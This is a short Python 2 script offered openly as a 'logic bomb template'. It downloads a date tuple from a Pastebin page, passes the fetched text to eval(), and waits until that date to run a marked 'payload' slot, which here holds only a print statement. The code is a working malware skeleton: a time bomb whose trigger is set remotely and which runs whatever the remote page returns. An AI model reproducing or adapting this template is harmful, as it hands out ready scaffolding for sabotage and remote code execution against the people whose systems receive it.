Pastebin reading logic bomb template

import sys, datetime, urllib2

url = "http://pastebin.com/raw.php?i=acUN4D1s" #Pastebin link of a tuple

a_ = eval(urllib2.urlopen(url).read()) #Read whole webpage

target = datetime.date(a_[0],a_[1],a_[2]) #Convert that tuple to timedelta

now = datetime.date.today() #Today's date

var_ = (target-now).days #Calculate time between today and target date

if var_ > 0: sys.exit(0) #If difference is less than 0, execute, else exit.
else:
    #Payload
    print 'damn son'